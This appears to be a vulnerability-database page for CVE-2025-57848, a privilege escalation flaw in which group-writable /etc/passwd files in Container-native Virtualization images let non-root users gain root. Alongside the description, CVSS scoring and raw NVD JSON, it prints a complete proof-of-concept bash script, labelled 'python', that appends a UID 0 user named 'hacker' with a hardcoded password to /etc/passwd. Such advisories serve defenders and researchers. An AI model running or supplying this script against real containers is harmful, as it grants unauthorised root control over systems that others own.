Security Vulnerability Report
中文
CVE-2025-57848 CVSS 6.4 MEDIUM

CVE-2025-57848

Published: 2025-10-23 20:15:40
Last Modified: 2026-04-15 00:35:42

Description

A container privilege escalation flaw was found in certain Container-native Virtualization images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Container-native Virtualization (CNV) 镜像(/etc/passwd文件具有组可写权限的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-57848 PoC - Container-native Virtualization /etc/passwd Privilege Escalation # This script demonstrates how an attacker can escalate privileges in a vulnerable container echo "[+] CVE-2025-57848 Container Privilege Escalation PoC" echo "[+] Checking /etc/passwd permissions..." # Check if /etc/passwd is group-writable if [ -w /etc/passwd ]; then echo "[+] /etc/passwd is writable! Vulnerability may be present." else echo "[-] /etc/passwd is not writable. Target may not be vulnerable." exit 1 fi # Check if current user is in root group if id | grep -q '(root)'; then echo "[+] Current user is a member of root group." else echo "[-] Current user is not in root group. Exploitation may fail." fi # Generate password hash (using openssl or python) echo "[+] Generating password hash..." if command -v python3 &> /dev/null; then PASSWORD_HASH=$(python3 -c "import crypt; print(crypt.crypt('hacked123', crypt.mksalt()))") elif command -v openssl &> /dev/null; then PASSWORD_HASH=$(openssl passwd -1 -salt abcdefgh 'hacked123') else echo "[-] Cannot generate password hash. Required: python3 or openssl" exit 1 fi echo "[+] Password hash: $PASSWORD_HASH" # Create new root user echo "[+] Adding new root user 'hacker' to /etc/passwd..." echo "hacker:${PASSWORD_HASH}:0:0:root:/root:/bin/bash" >> /etc/passwd # Verify the user was added echo "[+] Verifying user creation..." if grep -q '^hacker:' /etc/passwd; then echo "[+] User 'hacker' created successfully with UID 0!" echo "[+] You can now login as root using: su - hacker (password: hacked123)" else echo "[-] Failed to create user." exit 1 fi echo "[+] Privilege escalation completed!"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57848", "sourceIdentifier": "[email protected]", "published": "2025-10-23T20:15:40.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A container privilege escalation flaw was found in certain Container-native Virtualization images. This issue stems from the /etc/passwd file being created with group-writable permissions during build time. In certain conditions, an attacker who can execute commands within an affected container, even as a non-root user, can leverage their membership in the root group to modify the /etc/passwd file. This could allow the attacker to add a new user with any arbitrary UID, including UID 0, leading to full root privileges within the container."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-57848", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391099", "source": "[email protected]"}]}}